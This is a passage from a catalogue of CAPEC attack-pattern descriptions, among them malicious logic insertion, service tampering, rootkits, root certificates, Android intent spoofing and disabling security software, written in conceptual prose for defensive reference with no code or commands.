An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.

CAPEC-441: Malicious Logic Insertion

An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.

CAPEC-478: Modification of Windows Service Configuration

An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.

CAPEC-479: Malicious Root Certificate

An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

CAPEC-502: Intent Spoof

An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.

CAPEC-503: WebView Exposure

An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.

CAPEC-536: Data Injected During Configuration

An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.

CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment

An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.

CAPEC-550: Install New Service

When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-552: Install Rootkit

An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.

CAPEC-556: Replace File Extension Handlers

When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.

CAPEC-558: Replace Trusted Executable

An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.

CAPEC-562: Modify Shared File

An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.

CAPEC-563: Add Malicious File to Shared Webroot

An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.

CAPEC-564: Run Software at Logon

Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.

CAPEC-578: Disable Security Software

An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.

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